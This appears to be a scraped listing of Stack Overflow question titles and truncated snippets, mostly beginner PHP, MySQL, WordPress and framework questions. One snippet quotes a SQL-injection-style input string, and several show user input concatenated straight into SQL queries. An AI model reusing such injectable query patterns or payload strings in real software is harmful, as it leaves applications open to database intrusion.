SabTheCoderSo I understand how to create foreign keys and I know what is the purpose of the FK. But I have a problem in understanding How to use them. I asked a question regarding Foreign keys HERE(Click link) Here is what I made: CREATE TABLE user( id INT(11) NOT NULL AUTO_INCREMENT, username VARCHAR...

-2
Q: how to develop opeencart module like amazon shopping?

Sameh Mohamedi wont to develop an opencart module to insert images (shirts , shorts) and viewed it as amodel like amazon shopping http://www.amazon.com/Carhartt-Workwear-Pocket-T-shirt-K128/dp/B002Y2IBHQ/ref=sr_1_7?s=apparel&ie=UTF8&qid=1383463814&sr=1-7

-2
Q: Featured Post Boxes on Home Page

user2949430I'm interested in displaying a "Featured Post" section in box form on the top of the home page on my blog. You can find examples of what I'm looking for at both this site as well as this one. Basically just four or five posts with featured images and titles in boxes at the top of the home page. ...

0
Q: Using $_POST variables in prepared statements

NatZimI have been trying to work out prepared statements, and using $_POST variables in it, but nothing I've seen online seems to work. I know that questions are meant to show proper research, but I can't find anything that matches this question online. Please tell me what I am doing wrong. $dbh = new...

0
Q: Include the complete head tag

SunSkyThis is the head section on each of my 14 pages. <head> <meta charset="utf-8"> <title>some title</title> <meta name="description" content="some descrption"> <meta name="author" content="an author"> <meta name="keywords" content="some keywords"> <meta name="viewport" content="width=device-width, ...

0
Q: Checking if a variable exists in DB or if variable is set at all

Matthew MyersOkay, so i want this code snippet to check if variable $_GET['p'] exists in the DB, if it does then make $p = $_GET['p'], if it doesn't exist then make $p = '1', and if $_GET['p'] isn't even set in the link then just display page with id of 0 ($p = '0';). Here is my code. It only shows the "unkno...

0
Q: Integrating Appache Solr on Zend

Tudor RavoiuI need to add the Apache Solr on a Zend Framework. Does anyone know any good tutorial on how to obtain that? I should mention that my database is already set up. Does the Solr service need a custom database structure?

1
Q: PHP: How to use tidy to just minify a string and no repair it

RISC OSI just want to remove comments and white space from an html string before saving in DB. I don't want it to be repaired and add head tags etc. I've spent hours searching for this but can't find anything, can someone who has done this tell me what config I need and which php tidy function will jus...

0
Q: PHP include inside of an existing code?

user2594383Alright, well I have a code <?php if(isset($_GET['p'])){ $nshortname = strip_tags($_GET['p']); $check = mysql_query("SELECT * FROM pages WHERE `shortname` = '$nshortname'"); if(mysql_num_rows($check) == 0){ ...

0
Q: Getting all brands ASIN's of amazon

AlQurashiI need to get all Brands in Amazon and to search for offers for all brands using Product Advertising API with php, how can I fetch all brands and their ASIN's and then search for offers for all brands so I can sort all offers by its brand, how can i do that I was using the keyword parameter but i...

0
Q: Push Notifications using GCM on my android app

user2698646I want to implement Push Notifications for my android application. I checked online and saw a nice tutorial from androidhive.com. I followed it step by step but ultimately it didnt work. There are 7 php files that i have made to implement the server end. I created my server on 000webhost and also...

0
Q: Web, php,DB - storing "Seen" messages - architecture

MathewHere's another architecture question from me. I'm sure all of you have seen at some point at some website some message - i.e. you logged in and it stated something like "There will be a planned maintenance downtime at Tuesday 5PM PST". And then you have the "X" mark or a tick mark for the message...

0
Q: $_SERVER[REMOTE_ADDR] is fectching IP address of unknown location

Pawan MudeI'm using $_SERVER[REMOTE_ADDR] to keep audit of unsecured pages (without login). Somehow from last two days it's behaving bit wierd. Ex: If I access unsecured page, IP address which is inserted is having location at least 3000 Km's from my location (In fact outside the country from which I'm a...

-4
Q: Which framework is this built on?

evantoCan someone identify the framework used below?

0
Q: Redirect page and send var value using ajax

KarimkhanI redirect to page star.php using window.location.href = 'start.php'; Before I redirect I just want to send(post) var userid to start.php how could I do?

-1
Q: PHP Modeling and Visualizing Tool

benoneWith OOP we can modeling almost everything in the world. I am thinking of having a tool for myself to model and visualize. Say I want to build a tree map of finical product as I am interested in. Or I can model the staff in my company: A reports to B and C is very strong at communication. I...

-2
Q: Engineering college result management system

deepakIs there any ready made system for engineering colleges in p h p? Any ready made? any

0
Q: CodeIgniter upload image through tinymce

LykosI'd like some help please. I have created a form with CodeIgniter where I can write posts and what I 'd like to do is to add the functionality to upload image(s) for this post. At the beginning I thought to add an input field in my form where I can upload files, so I can display them above the c...

0
Q: how to import .sql file in mysql database using php

user2938105how to import .sql file in mysql database using php how can i do this please help me to fix this issue thanks this code showing this error.. There was an error during import. Please make sure the import file is saved in the same folder as this script and check your values: MySQL Database Nam...

0
Q: PDO::PARAM_INT is important in bindParam?

Jarek Kowoladd PDO::PARAM_INT or PDO::PARAM_STR etc have any meaning in mysql query? $sql = 'SELECT TagId FROM tagthread WHERE ThreadId = :ThreadId'; $stmt = $this->db->prepare($sql); $stmt->bindParam(':ThreadId', $threadid, PDO::PARAM_INT); $stmt->execute();

0
Q: How to get value from an array and echo it in frontend in wordpress

AdrianHow can i get the value (std) from this array that is located in my theme functions.php $this->settings['google'] = array( 'title' => __( 'Google' ), 'desc' => __( 'This is a description for the text input.' ), 'std' => 'https://www.google.com/+profile_name',...

0
Q: Error in second require [PHP]

user2949482I have this code in a file name detalle.php: require "inventario.php"; echo "inventario.php"; require "config.php"; echo "config.php"; I require inventario.php, and then appears the echo. But when I do the second require (config.php), the running stops. I don't know why, but the second echo do...

0
Q: CloudSQL PDO(unix_socket) problems on Google App Engine

rodrigo-silveiraI'm trying to connect to my CloudSQL instance FROM App Engine. The way I've set it up is to use a static IP, which I can use to connect to it from outside App Engine (namely, on my development environment). However, when the app runs within GAE, the only way to connect to the database is using un...

0
Q: school/college/university time table php/mysql

Mindaugas Žemaitismy college needs and upgrade on timetables for students. Right now they are using .xls files and that is ridiculous, every time one of the staff member makes a change they have to upload it on the website and other staff members have to download it to update theirs. I made a website which conver...

0
Q: Propel toJson or exportTo('JSON') not working with Laravel

tGilaniI have configured propel to work with laravel with the help of http://picqer.com/blog/propel-with-laravel. All model queries are working fine & all data is being fetched properly. However, the toJSON, exportTo('JSON') methods are not working neither on the Objects or nor on the PropelObjectColle...

0
Q: input a form option into databse mySQL and php

user2055697<select name="direction"> <option value="<a href='1.php'>1</a>">1</option> <option value="<a href='2.php'>2</a>">2</option> </select> I'm trying to insert a href into a database but the double quotes are messing it up how do I properly use double or single quotes in this situation?

0
Q: issue in fetching data from database over internet

googleI am learning android so i developed one small app in which i am trying to access databse over internet so to do this i first tried it using localhost by using WAMP server and php now i just modified the necessary files and uploaded in to a website and now when i run the app it tries to fetch dat...

1
Q: Convert only specific elements of an array to string in php

poorvankbhatiaI am learning php. I have an array as: Array ( [0] => 160 [1] => 380 [2] => 180) I have to convert this array to a string. I am aware of implode. But it joins all the array elements with a string. But if i have to join just the first 2 elements or specific elements which method should i use.? ...

0
Q: PHP: How to get characters length of specific associative array key value

Vitali need get characters length of "fsdfsdf". Who can help me? :) $array = array( 'Firstname' => $wpdb->escape($_REQUEST['Firstname']), 'Lastname' => $wpdb->escape($_REQUEST['Lastname']), 'Phone' => $wpdb->escape($_REQUEST['Phone']), 'Email' => $wpdb->escape($_REQUEST['Email']) ); ...

0
Q: Laravel foreach input all update fails because of form token

Web StudentI recently found my problem what is causing my form error. I create a form post and loop throuh them public function update() { $input = Input::all(); foreach ($input as $key => $value) { $update = Setting::find($key); $update->value = $value; ...

0
Q: Dynamically create a new object from a class with different namespace

FratyrI'm trying to create a small RESTful API for my database and I encountered a problem creating controller object dynamically based on user request, because all my code is using namespaces and just doing: $api = new $controllerName($request); Won't work. Because $controllerName would resolve to ...

0
Q: PHP Parse error: syntax error, unexpected '". "' (T_CONSTANT_ENCAPSED_STRING), expecting ',' or ';' in

user2948326I am really new to PHP and I have finished a budget calculator form that works nicely. However, now I am need to create a separate processing script and I am now getting a error. Hoping someone can help me out. echo ". $name . " ", Your Net Income For" ". $month . " " . $year . " "Is" ". $t...

0
Q: Executing Tar and tracking the progress

user2945583exec('"C:\Program Files (x86)\GnuWin32\bin\tar" -cf output.tgz repository ', $output); var_dump($output); I finally managed to get my script working after hours of attempts. Now I would like to ask if it would be possible to anyhow track or message prompt when the file gets created ( maybe in ...

-1
Q: How to use php to display all content in a database for different pages on just one page at different times

N Mahmoud Amryam developing a site with so many links, it is not having static content on the pages, it is fetching that content/data from the database(mysql). each page has its own php script that enables it to display that data in the tables(db). Now what i want is to reduce on the number of files/pages. So ...

0
Q: local date javascript and php

user2740712I'd like to echo the current local date (not the server date) using php and javasript. My code is the following: <?php $year='<script type="text/javascript"> var date = new Date(); var year = date.getFullYear(); document.write(year); </script>'; $month='<script type="text/javasc...

0
Q: inject date string as srtotime

BenI am trying to resolve this since hours, and I tried different solutions offered here within the website, but for some reasons the website always returns an error when applying the suggestions. I have a form field which uses a datepicker, and the output is a date in the format: November 6th, 2...

-1
Q: Is it possible to do this query?

xRobotI have this table: URL table: INT id TEXT url These are some rows: 1 - http://www.example.com/doasjdoasjdoaj.html 2 - http://www.testexample.com/dsdfdfsj.html 4 - http://www.likeexample.com/dfgdfaj.html 5 - http://www.example.com/eeeafoaj.html 6 - http://www.likeexample.com/d3r3rfaj.html ...

0
Q: Nginx proxy_pass cookies

SasayWhat we have: A bunch of apache nginx. Forum Tinyboard. Through Apache authorization is proceeding normally, but with nginx as a function mkhash: function mkhash ($ username, $ password, $ salt = false) { global $ config; if (! $ salt) { // Create some sort of salt for the h...

0
Q: jQuery / Ajax to get html and save with php

Papa De BeauI am trying to get a jQuery script to run behind the scenes with php. It basically will get the contents of a div with jQuery (works) then calls a script with ajax (works) but I need the ajax script that called the php to send the vars to php so I can save the conents. Here is the code: <script>...

 
10:23 AM
0
Q: How to hide certain options in drop down menu in php

user2949559I am preparing a booking system for sports facilities. In the booking page, I have created a calendar, and I have some complications. For example, if the user selects Saturday, I want only a certain number of options to appear. How can I do it? This is my code so far <link rel="stylesheet" href=...

0
Q: vertically align css element closer to image

adeobaI have a page which serves up random images. below the image is a css element that allows you to vote the image up or down, however, i think the css is a little too below the image. i want it to be vertically closer to the image. can you help? style.css: .vot_updown2 { position:relative; marg...

0
Q: Updating data to browser AJAX or jQuery?

AimSkywardI am looking for a bit of advice after reading lots of posts about different methods of achieving what I want. I am needing to update an html form with bits of data that are being read from a piece of hardware. Data is read at different rates so not all will be updating at the same time. I don't ...

0
Q: How to store much data in a Database and auto delete old

user2693017here is a free created example for my question: Every 5 seconds I run a php script which checks the status of +5 servers. It gets the ping, status, version and motd. The data should be stored for two weeks, after this time it can be removed. At the moment I would store it like this: Database 1...

0
Q: Javascript- get multiple data

IndraHi I am using the following script to load data in my dashboard. I am using 4 different files to get 4 different integers. Is there a way to do it in single file? <script type="text/javascript"> var auto_refresh = setInterval( function () { $('#1').load('record_count1.php').f...

0
Q: htaccess rule not working perfectly

khan07my htaccess rules not working i dont want to display php extension my rule Options +FollowSymlinks -MultiViews -Indexes RewriteEngine on RewriteBase / RewriteRule ^WHMCS/?$ 404.php [L] RewriteRule .*\.php$ 404.php [L] RewriteRule ^simple_html_dom$ 404.php [L] RewriteCond %{QUERY_ST...

0
Q: Magento: CONNECT ERROR: Failed to open file

DoparI'm having some troubles with installing extensions with magento connect. When I start installing the extension the outline terminal writes something like this: Checking dependencies of packages Installing package community/OrganicInternet_SimpleConfigurableProducts 0.7.4 CONNECT ERROR: ...

0
Q: Previewing image uploaded with help of Dropzone plugin in a pecific div?

Sarthak killerI'm using Dropzone plugin. And i want to load my uploaded file from the server immediately after its uploaded. my code is here. index.php <!-- drop area --> <div style="margin-top: 333px;width: 735px;margin-left: 33px;background-color: #ffffff;"> <form action="upload.php" class="dropzone"><

 
10:53 AM
-1
Q: Price Calculator based on Quantity

Emmanuel AlfredI am trying to create a simple script to add to my html website. I need it to calculate the price based on the quantity the user inputs. For example, a vault of 1-1000 will be multiplied by 1.50 and displayed, 1001-5000 multiplied by 1.20 and displayed, 5001-10000 multiplied by 1 and displayed ...

0
Q: How to run cron job with framework

user1409508I have application built in Zend Framework 2. I would like to set cron job for updating my products. I know scripts such as this should be run from outside of public folder, but unfortunately my script in cron needs to use framework files. How can I do this? The only way I figured out is to run s...

0
Q: dynamic checkbox value access in another file in PHP

miani am facing problem i am developing school system in php. i want use checkbox dynamic for attendance but checkbox value i cant use in another file please help me first file attendacne.php <form name="abc" method="post" action="attendance-con.php"> <p>Date: <input name="dat" type="t...

0
Q: simple text watermark placement in bottom-center using php

gurungI am working on a wordpress cms, with PHP 5.3.27 and with GD installed and enabled. I have an image-upload form on my site and an image-processing script at backend to resize and watermark the uploaded images. I need help with the watermarking aspect. I need to create a text watermark at the bott...

0
Q: facebook - check if user logged and not fan

user2949614i manage to know when user is logged to facebook but i need to know also if the user is not fan of my page and from some reason, when i login to facebook as a fan, i got this error: "incorrect signature". any idea? my code is: <script src="http://connect.facebook.net/en_US/all.js"></script>...

0
Q: Parse error: syntax error, unexpected end of file in

user2948532Hi I am a new student in Php,. I am currently developing a login.php But after compiling i am getting this error message, Parse error: syntax error, unexpected end of file in D:\xampp\htdocs\uploadthis\login.php on line 90 My login.php file is given below <?php session_start(); if(isset($...

0
Q: Saving a constantly updating array of data with merging into MySQL (possible concurrency issue)

PeterSo currently we have a PHP base, and within that, users can login to their accounts. Our site is pretty big and our developers want a way to store an arbitrary amount of data to benefit each user (so it may be something they entered onto a page and we can load the page with differing values base...

0
Q: Installing Solarium on VPS

WasimI am new to Apache Solr, Solarium, even new to user Composer and VPS. I have read installation instruction on http://wiki.solarium-project.org/index.php/V3:Installation#Getting_Solarium but didn't understand like where is compose.json file, how to auto load some thing... Can some one please expl...

 
11:17 AM
0
Q: Including and calling external php scripts from cakePHP

DomasOn the server I had php scripts responsible for sending notifications to mobile phones. It runs well if the scripts are called from the same directory. The problem is to call the scripts from cakePHP app. I include the notifications script inside cakePHP function like this: include $_SERVER['D...

0
Q: WooCommerce using Paypal Pro Hosted package to integrate checkout

DanI'm looking at integrating the Paypal checkout into my wooCommerce site and need a little help on what to change in the wooCommerce theme files to redirect the Paypal express checkout to the hosting package. The website is UK based with a UK Paypal account and the wooCommerce uses subscriptions....

0
Q: Problems setting up nginx (Wordpress/Prestashop)

Voornaam AchternaamI'm having issues setting up my FreeBSD server with nginx. I always had Apache and recently changed to nginx. I followed this tutorial to get 1 Wordpress website up- en running: http://forums.freebsd.org/showthread.php?t=30268 (that worked like a charm). The nginx.conf (which worked) is: user ...

 
11:29 AM
0
Q: Why shouldn't we include html markup in PHP classes?

metacompactnessAt the end of this answer, RobertPitt wrote "you will learn as time goes on that you should not be using html directly within your class, and that you would split the above into several classes". So why is this considered to be bad practice?

0
Q: how to check privilege and allow user to access page or not?

user2871282I add values to user_privilege column by implode consist of permission of user that is ( 7gz,agt_courses,newbill,new_Trainee)=> each of them in real to open (say :newbill page) or not upon user permission in user_privilege column in "login" table in database in other words I want to check the use...

0
Q: Codeigniter Passing Search Data in a Template Modal

Castiel MartinI'm trying to implement a search function to my website. I'm facing an error of can't passing data via templating. I get a blank page in search query even i try to search with a keyword which website contains. My default controller is page. main layout view : <?php $this->load->view('templates/...

0
Q: I have tex tarea field in my page, when I refresh the page or press a link to load the page again it does not erase the text

Gil JosefI have textarea field in my page, when I refresh the page or press a link to load the page again it does not erase the text that was filled in the textarea I want the textarea to be empty, I tried writing: $content=" "; echo "<textarea name='content'>".$content."</textarea>"; NOT WORKING :-(

0
Q: FQL - Getting messages from past

Rafał GuźniczakI want to receive all messages from specific day. I have FQL query like this: SELECT body, author_id, created_time FROM message WHERE thread_id=".$thread_id." AND created_time > ".$date." AND created_time < ".$end." LIMIT 0,30 $date is date in Unix format choosen by user. $end is $date+86...

0
Q: PHP cURL return unexpected result with correct POST data

Charles YeungI found a website http://ctrlq.org/screenshots/ that providing screen capture service. I would like to batch request the screen capture from many URL, so I have written a PHP cURL script to do that programmatically. In order to get the screen capture image from this web service, it required the...

0
Q: ZF2 Doctrine2 dynamic parameters in second db connection

user2949590I am begginer in Zendframework 2. I am developing an application in Zend plus Doctrine 2(ORM module). I have main database with user account informations(this db will be used only in User module in my App) and every user should have own database with data(this db will be used by other modules in ...

0
Q: XAMPP MySQL doesnt start

GiraffeThe MySQL Service of my XAMPP doesnt start cause of the Windows Service. I've already tried to remove it via CMD but it still doesnt work: 12:49:00 [mysql] MySQL Service detected with wrong path 12:49:00 [mysql] Change XAMPP MySQL and Control Panel settings or 12:49:00 [mysql] Uninstall...

0
Q: getting error in login http://localhost/AMICROJOBS/administrator/index.php?mg=session

user2948532First of all i want you all to be open minded, If we all work together may be we can give birth to a new micro job site script. First of all this script was developed/made from the scratch by ahmed from Pakistan,I have contacted with him, he said that, he's too busy to contribute. it's licensed u...

0
Q: Web page models (approaches to build dynamic web) - security and practical (clarity) view

user1097772What are advantages and dissadvantages of this specific approaches to view the pages to user according the url? As far as I know there are two basic approaches to build webpage: www.whatever.com/index.php?page=userProfil.php www.whatever.com/userProfil.php Well I call the points 1 and 2 mode...

-5
Q: Show a short version

user2594383I am trying to display data that comes from my database, although I want to only show a preview of it. Is there any way I can have the same long content but show the same thing, only shortened?

0
Q: preg_replace second parameter ($replacement) doesnt fit

whiteletters and blankspacesThe content of my posts in Wordpress is a big markup. It is coming from MS Word so it is text wrapped by HTML nested tags and inline styles. I have a segment of code that is repeated many times in the content (It represents text footnotes). This segment, for the first footnote for example is: <sup

0
Q: How to load image during show hide div?

CrazyManI want to display a image when I am going to click for hiding a div.Everything works fine but I want to alert a message and load a image before show div.What to do?My js and html code are give below : <h3><a class='show'> (Show/Hide) </a></h3> <div id="show"></div> and my js code jQuery(docu...

0
Q: is my cfg.php connection right\?

user2919681I have a quick question to you guys, i have created the CFG file which stores my database connection detail in two dimensional array. I then connect it to my PHP class file and make it launch the arrays stated in CFG file. As you can see below in my code: cfg.php <?php $cfg['db']['host'] = ...

-2
Q: I'm learning sphinxSE , but i don't know what meaning is sphinxQL . Who can tell me sphinxQL what meaning be?

user2949729Recently, I'm learning to use sphinxSE. I saw one in the chapters in this manual when it comes to sphinxQL ,but i don't know what meaning is sphinxQL,can someone help me explain in more detail?

0
Q: Where do i find DocumentRoot on ubuntu after installing php mysql and apache2?

Hesbe ReyganI am new to ubuntu linux (version 13.10). I am following this tutorial to install mysql php and apache2: http://www.youtube.com/watch?v=ioqa-ZT-WSg It installed succesfully , But i don't know where to write php files, that executes when you write "localhost/example.php" on the URL. I am looking...

0
Q: Codeigniter Upload Image as BLOB within form

user2928344I currently have a form that inputs information to the database from a php form, I want to add a field to the database table called profileimage which is uploaded within the current form but I am having problems getting the image to upload... View (profile_content.php): $this->load->helper('for...

0
Q: Paypal subscription payment and website registartion

testndtvI have a website which sells some digital items, which the user can buy without any registration. Now I want to update the same to include user registration and paypal subscription payment. I am slightly confused about the implementation. There are 2 I have in my mind; I think Paypal subscript...

0
Q: I faild to setup zend debugger in xampp 1.7.7

SarwarCSEI tried to set up Zend Debugger with XAMPP. I already read the other threads in this forum to this topic. My settings: System: Windows 7 x86 Zen Debugger .dll: 5_3_x_nts_comp PHP Version 5.3.8 XAMPP 1.7.7 Zend Studio:10 I included in xampp\php\php.ini [Zend] zend_extension_ts = H:\xampp...

0
Q: Zend Framework 2 Container

user2101411I am trying to authenticate a session after log in on the members page. I set it so where the application module generates a session in Module.php. However, when I login, it sets the session via the Session Container class, but when it redirects to the members page, it redirects back to the login...

0
Q: Passing a class object as variable of another class

Panagiotis George RaditsasHello I have 2 classes for creating a dynamic menu for my site like so: class Menu{ private $items; public function __construct() { $this->items = array(); } public function __destruct() { } public function addItem($item) { array_push($this->items, $i...

0
Q: PHP: (shell_exec() & nc) VS. fsockopen()

MichaelIn order to get all memcached keys, I can perform a "stats items" then a "stats cachedump" command on memcached daemon. To do that I think at two options: perform a shell_exec() using netcat like shell_exec('stats items | nc 127.0.0.1 11211') OR open a socket and send 'stats items' command the...

0
Q: How to send data from form to controller

eoLithicIn my web store, built on OpenCart, I've created absolutely new template and controller for it. Path is template/common/orderForm. In this template there is a very simple contact form. Template code (not very much, I didn't even include the header). <!doctype html> <div style="width: 723px;"> <...

0
Q: PHP move_uploaded_file

Rik89I am trying to upload files to a server using PHP move_uploaded_file and I am getting the following error: Warning: move_uploaded_file() [function.move-uploaded-file]: The second argument to copy() function cannot be a directory in /Users/Rick/Sites/upload/upload.php on line 7 Warning: move_upl...

0
Q: How check array element exist in two-dimessional array in php

StreetCoderI have an array that is like: Array ( [0] => Array ( [product_id] => 1 [product_name] => T-Shirts [quantity] => 2 [price] => 300 ) [1] => Array ( [product_id] => 2 [product_name] => Red Shirt [quantity] => 4 [price] => ...

0
Q: how can i add chose button to upload .sql file

user2938105how can i add chose button to select .sql file and upload data to mysql this is chose button code <!DOCTYPE html> <html> <body> <form action="upload.php"> Select a file: <input type="file" name="img"> <input type="submit"> </form> </body> </html> and this is upload .sql file code is wo...

0
Q: AJAX post with absolute url to backend file

AlberichI am working on an AJAX post from which needs to send data to a php file. This file is ONE located level above the domain root. If my domain root is /root_general/root_domain/ The file php backend file is in /root_general/ I am trying doo achieve this by using the dirname($_SERVER['DOCUMENT_ROOT...

0
Q: PHP combined operator for &&?

EnriqeI have code like this: $finalResult = true; $finalResult = $finalResult && function_01(); $finalResult = $finalResult && function_02(); ... $finalResult = $finalResult && function_XX(); And I'm looking for a way how to shorten the code to something like: $finalResult = true; $finalResult &&...

0
Q: PHP header warnings... why?

runelynxWhen I return to my site after a period of time -like a few hours - I get 3 PHP warnings like in the screenshot for some reason. When I login/logout, the warnings go away. [phpBB Debug] PHP Warning: in file [ROOT]/includes/session.php on line 1042: Cannot modify header information - headers a...

0
Q: PHP/SQL: POST to db permutes other fields not the intended one

Daniel StuartI have a very peculiar bug here. SHORT DESC: Posting a value to field nationality changes the field from 0 to 1 and vice versa WHILE changing the value of the next field to the first character that was put in by the user in the nationality field. If repeated (form resubmission with different inp...

0
Q: How I fix labels in Google Chart?

benoffi7I have this chart and look the dates! There are all together. I want like these I no have CSS in my php or HTML I use the code for create the chart function drawCountShopsByCategory(datos) { var options5 = { is3D : 'true', width : 900, height : 600 }; ...

-2
Q: What would be the best OOP pattern for a PHP based Q&A site?

xupyprI want to make a Q&A site using PHP and want to ask you what would be the right OOP pattern for me to use in such a project. I general the site would be something analogic to StackOverflow ...

0
Q: PHP class - return object but echo string

Jason LipoI have a class CalculatePrice. Running this code: $calc = new CalculatePrice( 10, 20 ); print_r ( $calc->do() ); The do() method returns a different class called PriceObj. If I ran the code echo $calc->do() then I get an error: Object of class PriceObj could not be converted to string. My que...

0
Q: my update query didn't work on Codeigniter

jombloI have a table name "Category" which contains (cat_id, name, description). I can insert, retrieve, and delete without any problems. But when I update my Category, no data inserted in my database. I check my table and the result is nothing. The POST model "Category_Model extends CI_Model": publi...

0
Q: How to extract the page name in Google analytics events

MoshMoshi tried to look for an answer in Google developer page but without success, my question is regarding the below code: onClick="_gaq.push(['_trackEvent', 'name-of-the-page', 'Click', 'game-name']);" where its written "name-of-the-page" i would like to extract the page name so that i could see t...

0
Q: Call a function after another function has completed

user1476992Why would it not work to call the get_accounts() function at the end of the delete_account() function? function get_accounts() { require(ROOT_PATH . "inc/database.php"); try { $results = $db->query("SELECT * FROM account"); } catch (Exception $e) { echo ("ERROR: Data ...

0
Q: php remove characters from string - at the same position from the last removed

user2909037 Ok first i will start with an example to explain better what i mean. So i have the following string: $str = "x' OR firstname LIKE '%Carla%"; $returned_str = chunk_split($str,1,"."); echo $returned_str; This string is being returned like this: x.'. .O.R. .f.i.r.s.t.n.a.m.e. .L.I.K....

0
Q: why mysqli functions not described in object oriented approach in PHP?

Ren MathewI am just a starter in PHP and i am in doubt for quite a long time with the netbeans tutorial.. the program is like this creating a wishdb class: class WishDB extends mysqli { // single instance of self shared among all instances private static $instance = null; // db connection con...

0
Q: Laravel Eloquent indirect relation ship using hasMany

Rohith RaveendranMy Question is essentially this, I have a issue with indirect reference to a model using a related model, like if a 'model A' has many 'model B' and 'model B' has many 'model C', so essentially that will be 'model A' has many 'model C' but I dont know how to relate them using hasMany. Now my ac...

0
Q: Set option to show the slider in post - WP

epynicIn Wordpress dashboard > Add New Post I want to set an option extra variable for post at show slider - Yes / No and upon the Option i need to do some thing like this in the post page if ( isset($post_slider)) { // show slider code goes here }

0
Q: load data with php and display them in a form

SmajlI am trying to implement very simple news-editting script for my website. I am not very skilled in php, could you plz tell me what am I doing wrong here? Page with selecting news to edit: <?php include 'listnews.php'; ?> <form action="editnews.php" method="post"> <fieldset> <...

0
Q: How can I return static files in PHP?

danijarI want to manage the assets of my web application in PHP so is there a way to just respond with a file from the server, say a stylesheet, an image or a static HTML file? Say, I parsed the request URL and I want to respond with a file at assets/css/default.css. How can I do that in PHP and what d...

0
Q: on Debian-64bit-6.0.3 IspCP server when ftp mysql uploading i get server error(500)

user2624687I have Debian-64bit-6.0.3 IspCP established on my cloud server. I looked at directory of php.ini file using phpinfo(); function. Then I went into this file via SSH connection (putty) and edited it as upload_max_filesize = 10M, restarted MySQL, even restarted the server and then checked phpinfo();...

0
Q: Any tips on masking user_id with friend request system?

salivanI've a simple friend request system, where user clicks button which contains user_id of target user, this id and is passed to the function which creates request row in DB. I don't want user to be able to request any user_id as a friend, just the ones I suggest. So I need a way to mask user_id s...

0
Q: PHP: Loop through every item covered by the UPDATE query

user1775598I've got a mysql UPDATE query: $updateExpries = "UPDATE table SET field = '$value' WHERE oneField != '$anotherValue'"; How could I get all items that have just been updated and update another field for each of those items individually?

0
Q: Saving dynamic values to another table/model using foreach in afterSave Yii

Ahmad Dajanithis is the my first post and I'm really confused with the below code. I'm building a gaming website (my first project using yii) and I'm using afterSave() in the model to insert data to another table because the relation is Many to Many. I'm fetching data from database then exploding it to get n...

0
Q: & can't be inserted in MYSQL through PHP

rosemaryIt sounds strange to me. I have a simple PHP script that inserts data into MYSQL table. Upon receiving the content from the client via AJAX the data is stored in a variable: $content=$_POST['content']; $sql="insert into contents values('$content')"; mysql_query($sql); The problem is that if t...

0
Q: alternative to switch/case to reduce program lines

labbetussNot too skilled PHP programmer here.. I have a system for screenshots on my site. Using GET and 'switch' I decide upon the screenshot to view from link parameters. Like this: switch($_GET['scid']) { case "1": $sc_id_txt = "Default screenshot"; $picname = "u0"; //Image name br...

0
Q: Mocking Static Eloquent Models Methods including find()

Anthony BouchI've been following the general Mockery and PHP-Unit tutorials - including Jeffrey Way's introduction to testing Laravel with PHP-Unit and Mockery. However, for this app - we're fine with a dependency on Eloquent, and would rather not create a repository class. We're able to mock instance metho...

0
Q: Random widths on posts

MindRaveI've been at this for a while now, and no answer on the web on Stack seems to have what I'm looking for. It is quite easy, actually, but my limited knowledge of PHP isn't allowing me to proceed. In a nutshell: The Wordpress loop generates posts. I want to display these posts in rows, with no mor...

0
Q: PHP Search Highlighting Undefined Error Set Error

Castiel MartinI have a search form and i highlight the keyword if it is within the body of the any one of the pages. What i'm facing is sort of case insensitive problem. When user searchs for "SearchMe", and the if the body containts the exact string "SearchMe", it shows it highlighted well. But when user writ...

0
Q: How to create YiiMongoDbSuite composite Criteria condition?

grd16I try to create search criateria with condition like this: $date_start = new MongoDate(strtotime(date("Y-m-d") . " 00:00:00")); $date_end = new MongoDate(strtotime(date("Y-m-d") . " 23:59:59")); $conditions = $criteria->getConditions(); $conditions["creationDateTime"] = array('greaterEq' => $dat...

0
Q: facebook API cURL error

ViktorHave a Facebook app that is failing as of this morning with the following error: "CurlException" "Failed to connect to 2a03:2880:2050:3f07:face:b00c:0:1: No route to host" This is being thrown at the point where I am trying to fetch the user's info: if ($user) { //get user data try ...

0
Q: Fatal error: Call to undefined method stdClass::AddFile() in C:\xampp\htdocs\index.php on line 8

user2928643can someone please help, im getting this error: Fatal error: Call to undefined method stdClass::AddFile() in C:\xampp\htdocs\index.php on line 8 This is my index.php: <?php define('IN_INDEX', 1); include ('inc.php'); $TPL->TPLDir = 'themes/'.$hotel[temp].''; if(!isset($_GET['page']) || $_GET...

-6
Q: Some web hosting companies

PHPI am looking for some web hosting for my website . What would be some good web hosting companies? I am having a PHP website that I want to host.

0
Q: Visit counter, with cookies not incrementing

user2209644I needed to have a counter on my page that would increment each time the website is visited, pretty simple huh, but... I have run into a problem, for some reason my page counter doesn't increment at all even though the code seems to be correct. <?php if (!isset ($_COOKIE["visitCount"])){ ...

0
Q: Can't update the geolocation

user2949925I've a google map where i can't update the new geolocation map with php and javascript. When i click on update marker it's not updated. I'm trying to update the new geolocation to move the marker to new place. Following is my script html code: <script type="text/javascript" src="js/jquery-1.10....

0
Q: Laravel 4 restful controller GET parameter

Hwa Soo ChoIn order to add parameter to a GET method, I know that I have to add {parameter} in the route like the following Route::get('example/search/{id}', 'ExampleController@exampleMethod') However, is there a way to do this using the RESTful controller like the following? routes.php Route::controll...

0
Q: Wordpress: Search results only in one category

WendiTI'm using this code for making sure that the search results show only results from one category. It works very well, but the side-effect is that in the back-end on the All posts page a search gives also only results from that same category. How can I make sure it works at the front-end but not th...

 
2:07 PM
ping
 
0
Q: How to implement "read more" in a div

user1128088I'm showing a part of a retrieved data from the database (authors and dates). But i wish to implement a kind of "read more", in which the author is hyperlinked to the full results i.e. When I click on Author & date, comments gets appended to it. I'll appreciate an example. Thanks <body> <...

-1
Q: Adding post values to database using mysqli

Jim Sundqvist I seem to have an issue inserting the post values into my database, and i don't see the error in the coding. I've been looking at it for a while now and to me everything looks right, however when i use the form and submit the data the page reload but no data get inserted into the database. It w...

0
Q: In FileA, why do evaluated strings extracted from $fileB = file_get_content(FileB.php) and handling variables defined in FileA result in unset values?

user2949795I am a new questioner but a long time reader and I can't seem to find a solution to my PHP code. I am trying to send and email after a form contact has been submitted. Piece of cake until I decided I wanted my html email saved in a different file rather than having it defined as a string within ...

0
Q: How to send and receive errors for form validation with using $_GET - PHP

user2251229I am trying to send and receive errors in php form validation without having to use the $_GET method. What I thought I would do was create an errors array in my functions.php (reusable functions and variables) file like so: $errors = array(); And manipulate that errors array like so: //do wor...

0
Q: Unable log user into website

